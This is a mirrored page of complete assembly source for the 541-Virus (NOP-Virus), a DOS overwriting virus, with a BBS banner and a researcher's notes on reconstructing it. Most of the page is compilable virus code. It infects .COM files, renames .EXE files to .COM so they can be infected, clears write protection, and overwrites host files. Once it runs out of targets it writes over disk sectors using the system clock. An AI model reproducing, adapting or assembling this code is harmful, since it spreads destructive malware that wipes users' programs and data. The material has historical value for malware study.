mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
465 lines
23 KiB
NASM
465 lines
23 KiB
NASM
;****************************************************************************;
|
|
; ;
|
|
; -=][][][][][][][][][][][][][][][=- ;
|
|
; -=] P E R F E C T C R I M E [=- ;
|
|
; -=] +31.(o)79.426o79 [=- ;
|
|
; -=] [=- ;
|
|
; -=] For All Your H/P/A/V Files [=- ;
|
|
; -=] SysOp: Peter Venkman [=- ;
|
|
; -=] [=- ;
|
|
; -=] +31.(o)79.426o79 [=- ;
|
|
; -=] P E R F E C T C R I M E [=- ;
|
|
; -=][][][][][][][][][][][][][][][=- ;
|
|
; ;
|
|
; *** NOT FOR GENERAL DISTRIBUTION *** ;
|
|
; ;
|
|
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
|
|
; Around Among the General Public. It Will be Very Useful for Learning how ;
|
|
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
|
|
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
|
|
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
|
|
; Is. Keep This Code in Responsible Hands! ;
|
|
; ;
|
|
;****************************************************************************;
|
|
|
|
PAGE 70,120
|
|
|
|
;;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
;;ÛÛ ÛÛ
|
|
;;ÛÛ Name Virus: 541-Virus 14 Sept 1990 ÛÛ
|
|
;;ÛÛ Suggested Alias: NOP-Virus ÛÛ
|
|
;;ÛÛ Variant: 537-Virus, 560-Virus ÛÛ
|
|
;;ÛÛ ÛÛ
|
|
;;ÛÛ Last Reported: September 1990 ÛÛ
|
|
;;ÛÛ 'Isolated': The Hague, The Netherlands ÛÛ
|
|
;;ÛÛ by: Righard Zwienenberg 2:512/2.3@fidonet ÛÛ
|
|
;;ÛÛ ÛÛ
|
|
;;ÛÛ Author: Ralf Burger in 1986 for his book: ÛÛ
|
|
;;ÛÛ VIRUSES, A HIGH TECHNICAL DISEASE ÛÛ
|
|
;;ÛÛ ÛÛ
|
|
;;ÛÛ ÛÛ
|
|
;;ÛÛ The code of this virus was built into a MOVE-util. It was imple- ÛÛ
|
|
;;ÛÛ mented wrong. The virus went straight to the destruction code. ÛÛ
|
|
;;ÛÛ I've taken the code out and reconstructed it to its original ÛÛ
|
|
;;ÛÛ form. Because I had a listing of Ralf Burger's book I have placed ÛÛ
|
|
;;ÛÛ his own comments behind the code, although I've translated it into ÛÛ
|
|
;;ÛÛ English. The labels used, are also his. ÛÛ
|
|
;;ÛÛ ÛÛ
|
|
;;ÛÛ I've put three comments myself in the code. These can be recog- ÛÛ
|
|
;;ÛÛ nized by the starting ;; of it. ÛÛ
|
|
;;ÛÛ ÛÛ
|
|
;;ÛÛ Edwin Cleton, the one who send me the MOVE util for examination ÛÛ
|
|
;;ÛÛ downloaded it from a BBS. So far there are no damage reports. ÛÛ
|
|
;;ÛÛ The move-util checked the system's date. If the date is 1 Aug ÛÛ
|
|
;;ÛÛ or later of any year, the virus was called. ÛÛ
|
|
;;ÛÛ ÛÛ
|
|
;;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
;;ÛÛ ÛÛ
|
|
;;ÛÛ This sourcelisting can be recompiled with MASM 4.0+ and A86. For ÛÛ
|
|
;;ÛÛ compilation with A86 you must specify 'conta' and 'disks' as a word ÛÛ
|
|
;;ÛÛ else the definition will conflict with what A86 previously thinks. ÛÛ
|
|
;;ÛÛ ÛÛ
|
|
;;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
;;ÛÛ ÛÛ
|
|
;;ÛÛ Virus-Description: ÛÛ
|
|
;;ÛÛ ------------------ ÛÛ
|
|
;;ÛÛ ÛÛ
|
|
;;ÛÛ The virus infects the first COM-file in the ROOT-Directory. The ÛÛ
|
|
;;ÛÛ virus overwrites the first 230h bytes of the file. When an infected ÛÛ
|
|
;;ÛÛ file is executed it will infect one other .COM-file. The system will ÛÛ
|
|
;;ÛÛ crash mostly afterwards because the overwritten part is not stored. ÛÛ
|
|
;;ÛÛ When COMMAND.COM is infected on the HDU, the system will not reboot ÛÛ
|
|
;;ÛÛ because COMMAND.COM is complete. Each reboot COMMAND.COM will infect ÛÛ
|
|
;;ÛÛ one other .COM-File and the computer crashes. When all .COM-files ÛÛ
|
|
;;ÛÛ are infected, .EXE-files will be renamed (FCB) to .COM to become ÛÛ
|
|
;;ÛÛ infected. When all .COM and .EXE-files are infected, the virus will ÛÛ
|
|
;;ÛÛ write to sectors on disk depending on the system's time. ÛÛ
|
|
;;ÛÛ The infected files are lost en must be replaced by backup-copies. ÛÛ
|
|
;;ÛÛ ÛÛ
|
|
;;ÛÛ The shortest size an infected file can be is 230h bytes. The code is ÛÛ
|
|
;;ÛÛ shorter, but this is the value which has been put into the code as ÛÛ
|
|
;;ÛÛ the virus-length. ÛÛ
|
|
;;ÛÛ ÛÛ
|
|
;;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
|
|
|
|
Code Segment
|
|
Assume CS:Code
|
|
progr equ 100h
|
|
org progr
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; The three NOP's are set as a identifier for the virus. This way
|
|
; the virus knows this copy is already infected.
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
MAIN:
|
|
nop
|
|
nop
|
|
nop
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; Init the Pointers
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
mov ax,0
|
|
mov es:[pointer],ax
|
|
mov es:[counter],ax
|
|
mov es:[disks],al
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; Get actual diskdrive
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
mov ah,19h ; drive?
|
|
int 21h
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; Get actual path
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
mov cs:drive,al ; save drive
|
|
mov ah,47h ; dir?
|
|
mov dh,0
|
|
add al,1
|
|
mov dl,al ; in actual drive?
|
|
lea si,cs:old_path
|
|
int 21h
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; Get actual number of present diskdrives.If only one diskdrive is present,
|
|
; the pointer for 'search_order' will transfered to 'search_order + 6'
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
mov ah,0Eh ; how many disks
|
|
mov dl,0
|
|
int 21h
|
|
mov al,1
|
|
cmp al,1 ; one drive?
|
|
jne hups3
|
|
mov al,6
|
|
hups3:
|
|
mov ah,0
|
|
lea bx,cs:search_order
|
|
add bx,ax
|
|
add bx,1
|
|
mov cs:pointer,bx
|
|
clc
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; The carry-flag is set if the search will find no more .COM-files. To do
|
|
; it the easy way, all .EXE-files will get the .COM-extention to become
|
|
; infected. This will result in an error if the executed .EXE is to big.
|
|
; The error-message 'Program too big to fit in memory' will be the result.
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
change_disk:
|
|
jnc no_name_change
|
|
mov ah,17h ; change exe to com
|
|
lea dx,cs:mask_exe
|
|
int 21h
|
|
cmp al,0FFh
|
|
jnz no_name_change ; .EXE found?
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; When no .COM or .EXE-files are found, sectors will be overwritten,
|
|
; depending from the system's time in the msec-range. This is the moment
|
|
; that the entire disk is infected. 'VIRUS' can not infect any more and
|
|
; starts the destruction.
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
mov ah,2Ch ; read system clock
|
|
int 21h
|
|
mov bx,cs:pointer
|
|
mov al,cs:[bx]
|
|
mov bx,dx
|
|
mov cx,2
|
|
mov dh,0
|
|
int 26h ; Write shit on disk
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; Test if the end of the seek-procedure or of the table has been reached.
|
|
; If so: end.
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
no_name_change:
|
|
mov bx,cs:pointer
|
|
dec bx
|
|
mov cs:pointer,bx
|
|
mov dl,cs:[bx]
|
|
cmp dl,0FFh
|
|
jnz hups2
|
|
jmp hops
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; Get new disk from the list with search orders and make it the actual one.
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
hups2:
|
|
mov ah,0Eh
|
|
int 21h ; change disk
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; Start at the ROOT-Directory.
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
mov ah,3Bh ; change path
|
|
lea dx,cs:path
|
|
int 21h
|
|
jmp find_first_file
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; Starting from the ROOT-dir, search for the first sub-dir. Previous change
|
|
; all .EXE-files into .COM-files in the old directory.
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
find_first_subdir:
|
|
mov ah,17h ; change exe to com
|
|
lea dx,cs:mask_exe
|
|
int 21h
|
|
mov ah,3Bh ; use root dir
|
|
lea dx,cs:path
|
|
int 21h
|
|
mov ah,4Eh ; search for first subdir
|
|
mov cx,11h ; dir mask
|
|
lea dx,cs:mask_dir
|
|
int 21h
|
|
jc change_disk
|
|
mov bx,cs:counter
|
|
inc bx
|
|
dec bx
|
|
jz use_next_subdir
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; Search for the next sub-dirs. Change to other drive if no sub-dir is
|
|
; found.
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
find_next_subdir:
|
|
mov ah,4Fh ; search for next sub-dir.
|
|
int 21h
|
|
jc change_disk
|
|
dec bx
|
|
jnz find_next_subdir
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; Change found sub-dir in actual one.
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
use_next_subdir:
|
|
mov ah,2Fh ; get dta address
|
|
int 21h
|
|
add bx,1Ch
|
|
mov word ptr es:[bx],'\' ; address of name in dta
|
|
inc bx
|
|
push ds
|
|
mov ax,es
|
|
mov ds,ax
|
|
mov dx,bx
|
|
mov ah,3Bh ; change path
|
|
int 21h
|
|
pop ds
|
|
mov bx,cs:counter
|
|
inc bx
|
|
mov cs:counter,bx
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; Search first .COM-file in the actual directory. If no .COM-files present,
|
|
; search the next directory.
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
find_first_file:
|
|
mov ah,4Eh ; search for first
|
|
mov cx,1 ; mask
|
|
lea dx,cs:mask_com
|
|
int 21h
|
|
jc find_first_subdir
|
|
jmp short check_if_ill
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; If the file is already infected, search next file.
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
find_next_file:
|
|
mov ah,4Fh ; search for next
|
|
int 21h
|
|
jc find_first_subdir
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; Test on infection.
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
check_if_ill:
|
|
mov ah,3Dh ; open channel
|
|
mov al,2 ; read/write
|
|
mov dx,9Eh ; address of name in dta
|
|
int 21h
|
|
mov bx,ax ; save channel
|
|
mov ah,3Fh ; read file
|
|
mov cx,buflen
|
|
mov dx,buffer ; write in buffer
|
|
int 21h
|
|
mov ah,3Eh ; close file
|
|
int 21h
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; Test if the three NOPs of 'VIRUS' are present. If so, the file is already
|
|
; infected, continue searching.
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
mov bx,cs:[buffer]
|
|
cmp bx,9090h
|
|
jz find_next_file
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; Erase the write-protection attribute from MS-DOS.
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
mov ah,43h ; write enable
|
|
mov al,0
|
|
mov dx,9Eh ; address of name in dta
|
|
int 21h
|
|
mov ah,43h
|
|
mov al,1
|
|
and cx,0FEh
|
|
int 21h
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; Open file for writing/reading.
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
mov ah,3Dh ; open channel
|
|
mov al,2 ; read/write
|
|
mov dx,9Eh ; address of name in dta
|
|
int 21h
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; Store date of file for later use.
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
mov bx,ax ; channel
|
|
mov ah,57h ; get date
|
|
mov al,0
|
|
int 21h
|
|
push cx ; save data
|
|
push dx
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; Save the original jump from program.
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
mov dx,cs:[conta] ; save old jmp
|
|
mov cs:[jmpbuf],dx
|
|
mov dx,cs:[buffer+1] ; save new jump
|
|
lea cx,cs:cont-100h
|
|
sub dx,cx
|
|
mov cs:[conta],dx
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; 'VIRUS' copies itself to the beginning of a file.
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
mov ah,40h ; write virus
|
|
mov cx,buflen ; length buffer
|
|
lea dx,main ; write virus
|
|
int 21h
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; Restore the old file-date.
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
mov ah,57h ; write date
|
|
mov al,1
|
|
pop dx
|
|
pop cx ; restore date
|
|
int 21h
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; Close file.
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
mov ah,3Eh ; close file
|
|
int 21h
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; Restore the old jump-address. 'VIRUS' stores at address 'conta' the jump
|
|
; which was at the beginning of the host-program. This will keep the host-
|
|
; program as much executable as possible. After storing the address, it
|
|
; works with the jumpaddress of 'VIRUS'. 'VIRUS' will thus be in the
|
|
; work-memory of the program.
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
mov dx,cs:[jmpbuf] ; restore old jmp
|
|
mov cs:[conta],dx
|
|
hops:
|
|
nop
|
|
call use_old
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; Continue the execution of the host-program.
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
|
|
cont db 0e9h
|
|
conta dw 0
|
|
mov ah,00
|
|
int 21h
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; Activate the diskdrive choosen at the entry of the program.
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
use_old:
|
|
mov ah,0eh ; use old drive
|
|
mov dl,cs:drive
|
|
int 21h
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; Activate the path choosen at the entry of the program.
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
mov ah,3Bh ; use old dir
|
|
lea dx,cs:[1FDh] ; get old path and
|
|
; backslash
|
|
int 21h
|
|
ret
|
|
|
|
|
|
search_order db 0FFh,1,0,2,3,0FFh,0,0FFh
|
|
pointer dw 0000
|
|
counter dw 0000
|
|
disks db 0
|
|
mask_com db "*.com",00 ; search for com-files
|
|
mask_dir db "*",00 ; search for dirs
|
|
mask_exe db 0FFh, 0, 0, 0, 0, 0, 3Fh
|
|
db 0,"????????exe",0,0,0,0
|
|
db 0,"????????com",0
|
|
mask_all db 0FFh, 0, 0, 0, 0, 0, 3Fh
|
|
db 0,"???????????",0,0,0,0
|
|
db 0,"????????com",0
|
|
|
|
;; mask_all is never used by the code and easilly can be ommited
|
|
;; to shorten the code
|
|
|
|
buffer equ 0e000h ; a save place
|
|
buflen equ 230h ; length of virus
|
|
|
|
;; At this place I disagree with Ralf. The actual length of the virus
|
|
;; is 21Dh bytes when compiled in MASM and 219h bytes when compiled
|
|
;; in A86. Because it was Ralf's intention to compile this in MASM
|
|
;; 21Dh should be the original length.
|
|
|
|
jmpbuf equ buffer+buflen ; a save place for jmp
|
|
path db "\",0 ; first path
|
|
drive db 0 ; actual drive
|
|
back_slash db "\"
|
|
|
|
;; This variable is never used in the code and easilly can be ommited
|
|
;; to shorten the code.
|
|
|
|
old_path db 32 dup (?) ; old path
|
|
|
|
code ends
|
|
|
|
end main
|